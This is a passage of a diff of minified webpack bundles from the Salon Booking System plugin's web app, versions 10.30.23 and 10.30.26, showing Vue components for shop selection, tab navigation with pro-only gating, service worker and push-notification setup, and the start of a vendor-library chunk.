c={class:\"shop-title-wrapper\"},p={class:\"shop-selector\"},h={class:\"selector-label\"},u={class:\"selector-dropdown\"},g={key:0},b={key:1},m={key:0,class:\"dropdown-content\"},f={key:0,class:\"loading-spinner\"},v={key:1,class:\"no-shops\"},y={key:2,class:\"shops-list\"},k=[\"onClick\"],w={class:\"shop-info\"},_={class:\"shop-name\"},S={class:\"shop-address\"};function T(e,o,s,t,i,r){const l=(0,n.g2)(\"font-awesome-icon\"),d=(0,n.g2)(\"b-spinner\"),T=(0,n.gN)(\"click-outside\");return(0,n.uX)(),(0,n.CE)(\"div\",c,[(0,n.Lk)(\"div\",p,[(0,n.Lk)(\"div\",h,(0,a.v_)(this.getLabel(\"shopTitleLabel\"))+\":\",1),(0,n.bo)(((0,n.uX)(),(0,n.CE)(\"div\",u,[(0,n.Lk)(\"div\",{class:\"selected-value\",onClick:o[0]||(o[0]=(...e)=>r.toggleDropdown&&r.toggleDropdown(...e))},[r.selectedShopName?((0,n.uX)(),(0,n.CE)(\"span\",g,(0,a.v_)(r.selectedShopName),1)):((0,n.uX)(),(0,n.CE)(\"span\",b,(0,a.v_)(this.getLabel(\"selectShopPlaceholder\")),1)),(0,n.bF)(l,{icon:\"fa-solid fa-chevron-right\",class:(0,a.C4)([\"dropdown-icon\",{\"dropdown-icon--open\":i.isDropdownOpen}])},null,8,[\"class\"])]),i.isDropdownOpen?((0,n.uX)(),(0,n.CE)(\"div\",m,[i.isLoading?((0,n.uX)(),(0,n.CE)(\"div\",f,[(0,n.bF)(d,{variant:\"primary\"})])):0===i.shopsList.length?((0,n.uX)(),(0,n.CE)(\"div\",v,(0,a.v_)(this.getLabel(\"shopsNoResultLabel\")),1)):((0,n.uX)(),(0,n.CE)(\"div\",y,[((0,n.uX)(!0),(0,n.CE)(n.FK,null,(0,n.pI)(i.shopsList,e=>((0,n.uX)(),(0,n.CE)(\"div\",{key:e.id,class:\"shop-item\",onClick:o=>r.selectShop(e)},[(0,n.Lk)(\"div\",w,[(0,n.Lk)(\"div\",_,(0,a.v_)(e.name),1),(0,n.Lk)(\"div\",S,(0,a.v_)(e.address),1)])],8,k))),128))]))])):(0,n.Q3)(\"\",!0)])),[[T,r.closeDropdown]])])])}var L={name:\"ShopTitle\",props:{shop:{default:function(){return{}}}},data(){return{isDropdownOpen:!1,shopsList:[],isLoading:!1}},computed:{name(){return this.shop&&this.shop.id?this.shop.name:\"\"},selectedShopName(){return this.shop&&this.shop.id?this.shop.name:\"\"}},methods:{toggleDropdown(){this.isDropdownOpen=!this.isDropdownOpen,this.isDropdownOpen&&this.loadShops()},closeDropdown(){this.isDropdownOpen=!1},loadShops(){this.isLoading=!0,this.shopsList=[],this.axios.get(\"shops\").then(e=>{this.shopsList=e.data.items}).finally(()=>{this.isLoading=!1})},selectShop(e){this.$emit(\"applyShop\",e),this.closeDropdown()}},emits:[\"applyShop\"],directives:{\"click-outside\":{mounted(e,o){e.clickOutsideEvent=function(s){e===s.target||e.contains(s.target)||o.value(s)},document.addEventListener(\"click\",e.clickOutsideEvent)},unmounted(e){document.removeEventListener(\"click\",e.clickOutsideEvent)}}}},A=s(5932);const P=(0,A.A)(L,[[\"render\",T],[\"__scopeId\",\"data-v-169ad628\"]]);var C=P,E=s(4119);const I={name:\"PwaTabLoading\",render(){return(0,n.h)(\"div\",{class:\"pwa-tab-async-loading\",role:\"status\",\"aria-busy\":\"true\"})}},D={loadingComponent:I,delay:0,timeout:12e4};var U={name:\"TabsList\",props:{isShopsEnabled:{default:function(){return!1}}},components:{UpcomingReservationsTab:(0,n.$V)({loader:()=>Promise.all([s.e(92),s.e(114)]).then(s.bind(s,1114)),...D}),ReservationsCalendarTab:(0,n.$V)({loader:()=>Promise.all([s.e(92),s.e(128)]).then(s.bind(s,9128)),...D}),CustomersAddressBookTab:(0,n.$V)({loader:()=>Promise.all([s.e(92),s.e(905)]).then(s.bind(s,905)),...D}),UserProfileTab:(0,n.$V)({loader:()=>s.e(389).then(s.bind(s,389)),...D}),ShopsTab:(0,n.$V)({loader:()=>s.e(728).then(s.bind(s,8728)),...D}),ShopTitle:C,ProUpgradeModal:E.A},created(){let e=this.resolveInitialHashFromUrl();!this.isProUser&&this.isProOnlyHash(e)&&(this.proUpgradeModalVisible=!0,e=\"#upcoming-reservations\",this.syncLocationToHash(e)),this.hash=e,this.tabModelIndex=this.hashToTabIndex(this.hash)},mounted(){if(window.addEventListener(\"hashchange\",this.onHashChange),this.isShopsEnabled){const o=localStorage.getItem(\"sln_selected_shop\");if(o)try{this.shop=JSON.parse(o),\"#shops\"!==this.hash&&this.hash||(this.hash=\"#upcoming-reservations\",window.location.hash=\"#upcoming-reservations\")}catch(e){console.error(\"Error parsing saved shop:\",e)}}},beforeUnmount(){window.removeEventListener(\"hashchange\",this.onHashChange)},data:function(){return{hash:\"#upcoming-reservations\",tabModelIndex:0,isSyncingTabs:!1,proUpgradeModalVisible:!1,tabsMountKey:0,skipResyncAfterModalClose:!1,shop:null,isHideTabsHeader:!1,isShopSelected:!1}},computed:{isProUser(){return!0===window.slnPWA?.is_pro}},watch:{shop(e){this.isShopSelected=!!e&&!!e.id},hash(e){const o=this.hashToTabIndex(e);this.tabModelIndex!==o&&(this.isSyncingTabs=!0,this.tabModelIndex=o,this.$nextTick(()=>{this.isSyncingTabs=!1}))},tabModelIndex(e){if(this.isSyncingTabs)return;if(!this.isProUser&&this.isRestrictedTabIndex(e))return this.proUpgradeModalVisible=!0,void this.resyncTabModelToHash();const o=this.tabIndexToHash(e);o!==this.hash&&this.click(o)},proUpgradeModalVisible(e){if(!e&&!this.isProUser){if(this.skipResyncAfterModalClose)return void(this.skipResyncAfterModalClose=!1);this.resyncTabModelToHash()}}},methods:{onActivateTab(e,o,s){this.isProUser||this.isRestrictedTabIndex(e)&&(s&&\"function\"===typeof s.preventDefault&&s.preventDefault(),this.proUpgradeModalVisible=!0)},resyncTabModelToHash(){this.isSyncingTabs=!0,this.tabModelIndex=this.hashToTabIndex(this.hash),this.$nextTick(()=>{this.isSyncingTabs=!1})},goToUpcomingReservations(){this.skipResyncAfterModalClose=!0;const e=\"#upcoming-reservations\",o=this.hashToTabIndex(e);this.hash=e,this.syncLocationToHash(e),this.tabModelIndex=o,this.tabsMountKey+=1,this.$nextTick(()=>{this.tabModelIndex=o,this.$nextTick(()=>{window.setTimeout(()=>{this.click(e)},50)})})},scrollUpcomingIntoViewIfNeeded(){try{const e=document.querySelector(\".current-time-line\");if(!e||null===document.querySelector(\".dp__active_date.dp__today\"))return void(e&&(e.style.display=\"none\"));e.style.display=\"block\",e.scrollIntoView({behavior:\"smooth\",block:\"center\"})}catch(e){}},hashToTabIndex(e){const o=this.isShopsEnabled,s=o?{\"#shops\":0,\"#upcoming-reservations\":1,\"#reservations-calendar\":2,\"#customers\":3,\"#user-profile\":4}:{\"#upcoming-reservations\":0,\"#reservations-calendar\":1,\"#customers\":2,\"#user-profile\":3};return Object.prototype.hasOwnProperty.call(s,e)?s[e]:o?1:0},tabIndexToHash(e){const o=this.isShopsEnabled,s=o?[\"#shops\",\"#upcoming-reservations\",\"#reservations-calendar\",\"#customers\",\"#user-profile\"]:[\"#upcoming-reservations\",\"#reservations-calendar\",\"#customers\",\"#user-profile\"];return null!=s[e]?s[e]:\"#upcoming-reservations\"},isRestrictedTabIndex(e){const o=this.isShopsEnabled,s=o?2:1,t=o?3:2;return e===s||e===t},resolveInitialHashFromUrl(){const e=this.getQueryParams();if(\"undefined\"!==typeof e.tab&&e.tab){const o=decodeURIComponent(String(e.tab)).replace(\u002F^#\u002F,\"\");return o.startsWith(\"#\")?o:\"#\"+o}return window.location.hash?window.location.hash:this.isShopsEnabled?\"#shops\":\"#upcoming-reservations\"},isProOnlyHash(e){if(!e)return!1;const o=e.startsWith(\"#\")?e:\"#\"+e;return\"#reservations-calendar\"===o||\"#customers\"===o},syncLocationToHash(e){try{const o=new URL(window.location.href);o.searchParams.delete(\"tab\");const s=(e.startsWith(\"#\")?e:\"#\"+e).slice(1);o.hash=s,window.history.replaceState(null,\"\",o.toString())}catch(o){window.location.hash=e.startsWith(\"#\")?e:\"#\"+e}},onHashChange(){const e=window.location.hash||(this.isShopsEnabled?\"#shops\":\"#upcoming-reservations\");if(!this.isProUser&&this.isProOnlyHash(e))return this.proUpgradeModalVisible=!0,this.hash=\"#upcoming-reservations\",void this.syncLocationToHash(\"#upcoming-reservations\");this.hash=e},navigateToTab(e,o){if(!this.isProUser&&this.isProOnlyHash(e))return o&&(o.preventDefault(),o.stopPropagation()),this.proUpgradeModalVisible=!0,void this.resyncTabModelToHash();this.click(e)},click(e){window.location.href=e;const o=document.querySelector(\".current-time-line\");o&&(null!==document.querySelector(\".dp__active_date.dp__today\")?(o.style.display=\"block\",o.scrollIntoView({behavior:\"smooth\",block:\"center\"})):o.style.display=\"none\")},applyShop(e){this.shop=e,e&&e.id?localStorage.setItem(\"sln_selected_shop\",JSON.stringify(e)):localStorage.removeItem(\"sln_selected_shop\"),this.$emit(\"applyShop\",e)},applyShopAndSwitch(e){this.shop=e,e&&e.id?localStorage.setItem(\"sln_selected_shop\",JSON.stringify(e)):localStorage.removeItem(\"sln_selected_shop\"),this.$refs[\"upcoming-reservations-tab-link\"].click(),this.$emit(\"applyShop\",e)},hideTabsHeader(e){this.isHideTabsHeader=e}},emits:[\"applyShop\"]};const H=(0,A.A)(U,[[\"render\",d],[\"__scopeId\",\"data-v-38f771fa\"]]);var M=H,O={name:\"App\",mounted(){this.loadBookingDragResizePref(),this.loadSettings(),this.displayBuildVersion()},computed:{isShopsEnabled(){return window.slnPWA.is_shops}},data:function(){return{settings:{},statusesList:{\"sln-b-pendingpayment\":{label:this.getLabel(\"pendingPaymentStatusLabel\"),color:\"#ffc107\"},\"sln-b-pending\":{label:this.getLabel(\"pendingStatusLabel\"),color:\"#ffc107\"},\"sln-b-paid\":{label:this.getLabel(\"paidStatusLabel\"),color:\"#28a745\"},\"sln-b-paylater\":{label:this.getLabel(\"payLaterStatusLabel\"),color:\"#17a2b8\"},\"sln-b-error\":{label:this.getLabel(\"errorStatusLabel\"),color:\"#dc3545\"},\"sln-b-confirmed\":{label:this.getLabel(\"confirmedStatusLabel\"),color:\"#28a745\"},\"sln-b-canceled\":{label:this.getLabel(\"canceledStatusLabel\"),color:\"#dc3545\"}},shop:null,disableBookingDragResize:!1}},watch:{shop(){this.loadSettings()}},methods:{loadBookingDragResizePref(){try{if(!window.slnPWA?.can_access_booking_resize_pref)return void(this.disableBookingDragResize=!1);this.disableBookingDragResize=\"1\"===localStorage.getItem(\"sln_pwa_disable_booking_drag_resize\")}catch(e){this.disableBookingDragResize=!1}},setDisableBookingDragResize(e){if(window.slnPWA?.can_access_booking_resize_pref){this.disableBookingDragResize=!!e;try{this.disableBookingDragResize?localStorage.setItem(\"sln_pwa_disable_booking_drag_resize\",\"1\"):localStorage.removeItem(\"sln_pwa_disable_booking_drag_resize\")}catch(o){}}},loadSettings(){this.axios.get(\"app\u002Fsettings\",{params:{shop:this.shop?this.shop.id:null}}).then(e=>{this.settings=e.data.settings,this.$root.settings={...this.$root.settings,...this.settings}})},applyShop(e){this.shop=e},async displayBuildVersion(){try{const e=await fetch(`\u002F{SLN_PWA_DIST_PATH}\u002Fversion.json?t=${Date.now()}`),o=await e.json();console.log(\"\\n═══════════════════════════════════════\"),console.log(\"🎯 PWA BUILD VERSION\"),console.log(\"═══════════════════════════════════════\"),console.log(`📅 Build Time: ${o.buildTime}`),console.log(`🔑 Build Hash: ${o.buildHash}`),console.log(`⏱️  Timestamp:  ${o.timestamp}`),console.log(\"═══════════════════════════════════════\\n\"),window.PWA_BUILD_VERSION=o}catch(e){console.warn(\"⚠️  Could not load build version:\",e)}}},components:{TabsList:M},beforeCreate(){this.$OneSignal&&(this.$OneSignal.showSlidedownPrompt(),this.$OneSignal.on(\"subscriptionChange\",e=>{e&&this.$OneSignal.getUserId(e=>{e&&this.axios.put(\"users\",{onesignal_player_id:e})})}))}};const x=(0,A.A)(O,[[\"render\",i]]);var $=x,W=s(9501);setInterval(()=>{navigator.serviceWorker.getRegistration().then(e=>{e&&e.update()})},6e4),(0,W.k)(\"\u002F{SLN_PWA_DIST_PATH}\u002Fservice-worker.js\",{ready(){console.log(\"✅ PWA ready - served from cache by service worker\")},registered(e){console.log(\"✅ Service worker registered\"),setInterval(()=>{e.update()},6e4)},cached(){console.log(\"✅ Content cached for offline use\")},updatefound(){console.log(\"🔄 New PWA version downloading...\")},updated(e){console.log(\"🎉 New PWA version available!\"),console.log(\"🔄 Auto-reloading to get fresh code...\"),e&&e.waiting&&e.waiting.postMessage({type:\"SKIP_WAITING\"}),setTimeout(()=>{console.log(\"♻️ Reloading page now...\"),window.location.reload()},1e3)},offline(){console.log(\"📵 Offline mode - no internet connection\")},error(e){console.error(\"❌ Service worker error:\",e)}}),navigator.serviceWorker.addEventListener(\"controllerchange\",()=>{console.log(\"🔄 Service worker updated - reloading...\"),window.location.reload()});var N=s(5222),V=(0,N.y$)({state:{},getters:{},mutations:{},actions:{},modules:{}}),R=s(9592),F=s(1893),B=s(3975),X=s(4394),j=s(7947),z=s(8565),K=s(376),Q=s(8215),q=s(1975),J=s(5329),G=s(7797),Y=s(1341);F.Yv.add(X.ITF,X.l6G,j.vlp,X.$UM,j.a$,X.XkK,X.Wzs,X.yLS,X.bnw,X.LFz,X.e68,X.gdJ,X.e9J,X.QLR,X.dzk,X.ivC,X.s67,X.B9e,X.KKb,X.DW4,X.KKr,X.TOj,X.q_k,z.EYA,X.H37,X.yvG,X.rwq,X.rk5,j.QRE,X.z$e,X.Bwz,X.lLb,X.PIP,X.CeG,X.Jyw,X.$GG,X._Xl,X.KMJ);var Z=(0,t.Ef)($).use(V).use(R.Ay).use(Y.A).component(\"font-awesome-icon\",B.gc).component(\"Datepicker\",K.A).component(\"vue-select\",J.A).component(\"Carousel\",G.FN).component(\"Slide\",G.q7).component(\"Pagination\",G.dK).component(\"Navigation\",G.Vx).mixin(Q.A),ee=window.slnPWA.onesignal_app_id;ee&&Z.use(q.A,{appId:ee,serviceWorkerParam:{scope:\"\u002F{SLN_PWA_DIST_PATH}\u002F\"},serviceWorkerPath:\"{SLN_PWA_DIST_PATH}\u002FOneSignalSDKWorker.js\"}),Z.mount(\"#app\")},8215:function(e,o,s){s(8992),s(3949),s(1454);var t=s(8207),n=s(8699),i=s.n(n),a=s(5919),r=s.n(a),l=s(8562),d=s.n(l),c=s(6315),p=s.n(c),h=s(9288),u=s.n(h);s(3412),s(2092),s(1575),s(3931),s(410),s(8801),s(7319),s(4271),s(2924);i().extend(r()),i().extend(d()),i().extend(p()),i().extend(u()),o.A={computed:{axios(){return t.A.create({baseURL:window.slnPWA.api,headers:{\"Access-Token\":window.slnPWA.token}})},moment(){return i()},locale(){return window.slnPWA.locale},shouldHideEmail(){return this.$root.settings&&this.$root.settings.hide_customers_email},shouldHidePhone(){return this.$root.settings&&this.$root.settings.hide_customers_phone},canUseAssistantFilter(){return!!window.slnPWA?.can_use_assistant_filter},canAccessBookingResizePref(){return!!window.slnPWA?.can_access_booking_resize_pref},canUsePwaNoShowControl(){return!0===window.slnPWA?.is_pro}},methods:{dayjsLocale(e){if(!e)return\"en\";const o=String(e).split(\"_\")[0].split(\"-\")[0].toLowerCase();return o||\"en\"},dateFormat(e,o){var s=this.$root.settings.date_format?this.$root.settings.date_format.js_format:null;if(!s)return e;var t=s.replace(\"dd\",\"DD\").replace(\"M\",\"MMM\").replace(\"mm\",\"MM\").replace(\"yyyy\",\"YYYY\");return i()(e).format(o||t)},timeFormat(e){return i()(e,\"HH:mm\").format(this.getTimeFormat())},getTimeFormat(){var e=this.$root.settings.time_format?this.$root.settings.time_format.js_format:null;if(e){var o=e.indexOf(\"p\")>-1?e.replace(\"H\",\"hh\").replace(\"p\",\"a\").replace(\"ii\",\"mm\"):e.replace(\"hh\",\"HH\").replace(\"ii\",\"mm\");return o}},getQueryParams(){let e=window.location.search;e=e.replace(\"?\",\"\");let o=e.split(\"&\").map(e=>({key:e.split(\"=\")[0],value:e.split(\"=\")[1]})),s={};return o.forEach(e=>{s[e.key]=e.value}),s},getLabel(e){return window.slnPWA.labels[e]},getDisplayEmail(e){return this.shouldHideEmail?\"***@***\":e},getDisplayPhone(e){return this.shouldHidePhone?\"*******\":e}}}}},o={};function s(t){var n=o[t];if(void 0!==n)return n.exports;var i=o[t]={exports:{}};return e[t].call(i.exports,i,i.exports,s),i.exports}s.m=e,function(){var e=[];s.O=function(o,t,n,i){if(!t){var a=1\u002F0;for(c=0;c\u003Ce.length;c++){t=e[c][0],n=e[c][1],i=e[c][2];for(var r=!0,l=0;l\u003Ct.length;l++)(!1&i||a>=i)&&Object.keys(s.O).every(function(e){return s.O[e](t[l])})?t.splice(l--,1):(r=!1,i\u003Ca&&(a=i));if(r){e.splice(c--,1);var d=n();void 0!==d&&(o=d)}}return o}i=i||0;for(var c=e.length;c>0&&e[c-1][2]>i;c--)e[c]=e[c-1];e[c]=[t,n,i]}}(),function(){s.n=function(e){var o=e&&e.__esModule?function(){return e[\"default\"]}:function(){return e};return s.d(o,{a:o}),o}}(),function(){s.d=function(e,o){for(var t in o)s.o(o,t)&&!s.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:o[t]})}}(),function(){s.f={},s.e=function(e){return Promise.all(Object.keys(s.f).reduce(function(o,t){return s.f[t](e,o),o},[]))}}(),function(){s.u=function(e){return\"js\u002F\"+e+\".js\"}}(),function(){s.miniCssF=function(e){return\"css\u002F\"+e+\".css\"}}(),function(){s.g=function(){if(\"object\"===typeof globalThis)return globalThis;try{return this||new Function(\"return this\")()}catch(e){if(\"object\"===typeof window)return window}}()}(),function(){s.o=function(e,o){return Object.prototype.hasOwnProperty.call(e,o)}}(),function(){var e={},o=\"salon-booking-plugin-pwa:\";s.l=function(t,n,i,a){if(e[t])e[t].push(n);else{var r,l;if(void 0!==i)for(var d=document.getElementsByTagName(\"script\"),c=0;c\u003Cd.length;c++){var p=d[c];if(p.getAttribute(\"src\")==t||p.getAttribute(\"data-webpack\")==o+i){r=p;break}}r||(l=!0,r=document.createElement(\"script\"),r.charset=\"utf-8\",s.nc&&r.setAttribute(\"nonce\",s.nc),r.setAttribute(\"data-webpack\",o+i),r.src=t),e[t]=[n];var h=function(o,s){r.onerror=r.onload=null,clearTimeout(u);var n=e[t];if(delete e[t],r.parentNode&&r.parentNode.removeChild(r),n&&n.forEach(function(e){return e(s)}),o)return o(s)},u=setTimeout(h.bind(null,void 0,{type:\"timeout\",target:r}),12e4);r.onerror=h.bind(null,r.onerror),r.onload=h.bind(null,r.onload),l&&document.head.appendChild(r)}}}(),function(){s.r=function(e){\"undefined\"!==typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:\"Module\"}),Object.defineProperty(e,\"__esModule\",{value:!0})}}(),function(){s.p=\"\u002F{SLN_PWA_DIST_PATH}\u002F\"}(),function(){if(\"undefined\"!==typeof document){var e=function(e,o,t,n,i){var a=document.createElement(\"link\");a.rel=\"stylesheet\",a.type=\"text\u002Fcss\",s.nc&&(a.nonce=s.nc);var r=function(s){if(a.onerror=a.onload=null,\"load\"===s.type)n();else{var t=s&&s.type,r=s&&s.target&&s.target.href||o,l=new Error(\"Loading CSS chunk \"+e+\" failed.\\n(\"+t+\": \"+r+\")\");l.name=\"ChunkLoadError\",l.code=\"CSS_CHUNK_LOAD_FAILED\",l.type=t,l.request=r,a.parentNode&&a.parentNode.removeChild(a),i(l)}};return a.onerror=a.onload=r,a.href=o,t?t.parentNode.insertBefore(a,t.nextSibling):document.head.appendChild(a),a},o=function(e,o){for(var s=document.getElementsByTagName(\"link\"),t=0;t\u003Cs.length;t++){var n=s[t],i=n.getAttribute(\"data-href\")||n.getAttribute(\"href\");if(\"stylesheet\"===n.rel&&(i===e||i===o))return n}var a=document.getElementsByTagName(\"style\");for(t=0;t\u003Ca.length;t++){n=a[t],i=n.getAttribute(\"data-href\");if(i===e||i===o)return n}},t=function(t){return new Promise(function(n,i){var a=s.miniCssF(t),r=s.p+a;if(o(a,r))return n();e(t,r,null,n,i)})},n={524:0};s.f.miniCss=function(e,o){var s={92:1,114:1,128:1,389:1,728:1};n[e]?o.push(n[e]):0!==n[e]&&s[e]&&o.push(n[e]=t(e).then(function(){n[e]=0},function(o){throw delete n[e],o}))}}}(),function(){var e={524:0};s.f.j=function(o,t){var n=s.o(e,o)?e[o]:void 0;if(0!==n)if(n)t.push(n[2]);else{var i=new Promise(function(s,t){n=e[o]=[s,t]});t.push(n[2]=i);var a=s.p+s.u(o),r=new Error,l=function(t){if(s.o(e,o)&&(n=e[o],0!==n&&(e[o]=void 0),n)){var i=t&&(\"load\"===t.type?\"missing\":t.type),a=t&&t.target&&t.target.src;r.message=\"Loading chunk \"+o+\" failed.\\n(\"+i+\": \"+a+\")\",r.name=\"ChunkLoadError\",r.type=i,r.request=a,n[1](r)}};s.l(a,l,\"chunk-\"+o,o)}},s.O.j=function(o){return 0===e[o]};var o=function(o,t){var n,i,a=t[0],r=t[1],l=t[2],d=0;if(a.some(function(o){return 0!==e[o]})){for(n in r)s.o(r,n)&&(s.m[n]=r[n]);if(l)var c=l(s)}for(o&&o(t);d\u003Ca.length;d++)i=a[d],s.o(e,i)&&e[i]&&e[i][0](),e[i]=0;return s.O(c)},t=self[\"webpackChunksalon_booking_plugin_pwa\"]=self[\"webpackChunksalon_booking_plugin_pwa\"]||[];t.forEach(o.bind(null,0)),t.push=o.bind(null,t.push.bind(t))}();var t=s.O(void 0,[453,504],function(){return s(6820)});t=s.O(t)})();\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fchunk-vendors.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fchunk-vendors.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fchunk-vendors.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fchunk-vendors.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,31 +1,31 @@\n-(self[\"webpackChunksalon_booking_plugin_pwa\"]=self[\"webpackChunksalon_booking_plugin_pwa\"]||[]).push([[504],{34:function(e,t,n){\"use strict\";var r=n(4901);e.exports=function(e){return\"object\"==typeof e?null!==e:r(e)}},81:function(e,t,n){\"use strict\";var r=n(9565),a=n(9306),o=n(8551),i=n(6823),l=n(851),s=TypeError;e.exports=function(e,t){var n=arguments.length\u003C2?l(e):t;if(a(n))return o(r(n,e));throw new s(i(e)+\" is not iterable\")}},283:function(e,t,n){\"use strict\";var r=n(9504),a=n(9039),o=n(4901),i=n(9297),l=n(3724),s=n(350).CONFIGURABLE,u=n(3706),d=n(1181),c=d.enforce,f=d.get,p=String,h=Object.defineProperty,v=r(\"\".slice),m=r(\"\".replace),g=r([].join),y=l&&!a(function(){return 8!==h(function(){},\"length\",{value:8}).length}),b=String(String).split(\"String\"),$=e.exports=function(e,t,n){\"Symbol(\"===v(p(t),0,7)&&(t=\"[\"+m(p(t),\u002F^Symbol\\(([^)]*)\\).*$\u002F,\"$1\")+\"]\"),n&&n.getter&&(t=\"get \"+t),n&&n.setter&&(t=\"set \"+t),(!i(e,\"name\")||s&&e.name!==t)&&(l?h(e,\"name\",{value:t,configurable:!0}):e.name=t),y&&n&&i(n,\"arity\")&&e.length!==n.arity&&h(e,\"length\",{value:n.arity});try{n&&i(n,\"constructor\")&&n.constructor?l&&h(e,\"prototype\",{writable:!1}):e.prototype&&(e.prototype=void 0)}catch(a){}var r=c(e);return i(r,\"source\")||(r.source=g(b,\"string\"==typeof t?t:\"\")),e};Function.prototype.toString=$(function(){return o(this)&&f(this).source||u(this)},\"toString\")},350:function(e,t,n){\"use strict\";var r=n(3724),a=n(9297),o=Function.prototype,i=r&&Object.getOwnPropertyDescriptor,l=a(o,\"name\"),s=l&&\"something\"===function(){}.name,u=l&&(!r||r&&i(o,\"name\").configurable);e.exports={EXISTS:l,PROPER:s,CONFIGURABLE:u}},376:function(e,t,n){\"use strict\";n.d(t,{A:function(){return wl}});n(4114),n(8992),n(4520),n(2577),n(3949),n(1454),n(8872),n(7550);var r=n(6436),a=n(5167),o=n(7959),i=n(1469);function l(e){return l=\"function\"==typeof Symbol&&\"symbol\"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&\"function\"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?\"symbol\":typeof e},l(e)}function s(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=Array(t);n\u003Ct;n++)r[n]=e[n];return r}function u(e,t){if(e){if(\"string\"==typeof e)return s(e,t);var n={}.toString.call(e).slice(8,-1);return\"Object\"===n&&e.constructor&&(n=e.constructor.name),\"Map\"===n||\"Set\"===n?Array.from(e):\"Arguments\"===n||\u002F^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$\u002F.test(n)?s(e,t):void 0}}function d(e,t){var n=\"undefined\"!=typeof Symbol&&e[Symbol.iterator]||e[\"@@iterator\"];if(!n){if(Array.isArray(e)||(n=u(e))||t&&e&&\"number\"==typeof e.length){n&&(e=n);var r=0,a=function(){};return{s:a,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:a}}throw new TypeError(\"Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}var o,i=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return i=e.done,e},e:function(e){l=!0,o=e},f:function(){try{i||null==n[\"return\"]||n[\"return\"]()}finally{if(l)throw o}}}}var c={lessThanXSeconds:{one:\"less than a second\",other:\"less than {{count}} seconds\"},xSeconds:{one:\"1 second\",other:\"{{count}} seconds\"},halfAMinute:\"half a minute\",lessThanXMinutes:{one:\"less than a minute\",other:\"less than {{count}} minutes\"},xMinutes:{one:\"1 minute\",other:\"{{count}} minutes\"},aboutXHours:{one:\"about 1 hour\",other:\"about {{count}} hours\"},xHours:{one:\"1 hour\",other:\"{{count}} hours\"},xDays:{one:\"1 day\",other:\"{{count}} days\"},aboutXWeeks:{one:\"about 1 week\",other:\"about {{count}} weeks\"},xWeeks:{one:\"1 week\",other:\"{{count}} weeks\"},aboutXMonths:{one:\"about 1 month\",other:\"about {{count}} months\"},xMonths:{one:\"1 month\",other:\"{{count}} months\"},aboutXYears:{one:\"about 1 year\",other:\"about {{count}} years\"},xYears:{one:\"1 year\",other:\"{{count}} years\"},overXYears:{one:\"over 1 year\",other:\"over {{count}} years\"},almostXYears:{one:\"almost 1 year\",other:\"almost {{count}} years\"}},f=function(e,t,n){var r,a=c[e];return r=\"string\"===typeof a?a:1===t?a.one:a.other.replace(\"{{count}}\",t.toString()),null!==n&&void 0!==n&&n.addSuffix?n.comparison&&n.comparison>0?\"in \"+r:r+\" ago\":r},p=f;function h(e){return function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.width?String(t.width):e.defaultWidth,r=e.formats[n]||e.formats[e.defaultWidth];return r}}var v={full:\"EEEE, MMMM do, y\",long:\"MMMM do, y\",medium:\"MMM d, y\",short:\"MM\u002Fdd\u002Fyyyy\"},m={full:\"h:mm:ss a zzzz\",long:\"h:mm:ss a z\",medium:\"h:mm:ss a\",short:\"h:mm a\"},g={full:\"{{date}} 'at' {{time}}\",long:\"{{date}} 'at' {{time}}\",medium:\"{{date}}, {{time}}\",short:\"{{date}}, {{time}}\"},y={date:h({formats:v,defaultWidth:\"full\"}),time:h({formats:m,defaultWidth:\"full\"}),dateTime:h({formats:g,defaultWidth:\"full\"})},b=y,$={lastWeek:\"'last' eeee 'at' p\",yesterday:\"'yesterday at' p\",today:\"'today at' p\",tomorrow:\"'tomorrow at' p\",nextWeek:\"eeee 'at' p\",other:\"P\"},w=function(e,t,n,r){return $[e]},_=w;function k(e){return function(t,n){var r,a=null!==n&&void 0!==n&&n.context?String(n.context):\"standalone\";if(\"formatting\"===a&&e.formattingValues){var o=e.defaultFormattingWidth||e.defaultWidth,i=null!==n&&void 0!==n&&n.width?String(n.width):o;r=e.formattingValues[i]||e.formattingValues[o]}else{var l=e.defaultWidth,s=null!==n&&void 0!==n&&n.width?String(n.width):e.defaultWidth;r=e.values[s]||e.values[l]}var u=e.argumentCallback?e.argumentCallback(t):t;return r[u]}}var C={narrow:[\"B\",\"A\"],abbreviated:[\"BC\",\"AD\"],wide:[\"Before Christ\",\"Anno Domini\"]},x={narrow:[\"1\",\"2\",\"3\",\"4\"],abbreviated:[\"Q1\",\"Q2\",\"Q3\",\"Q4\"],wide:[\"1st quarter\",\"2nd quarter\",\"3rd quarter\",\"4th 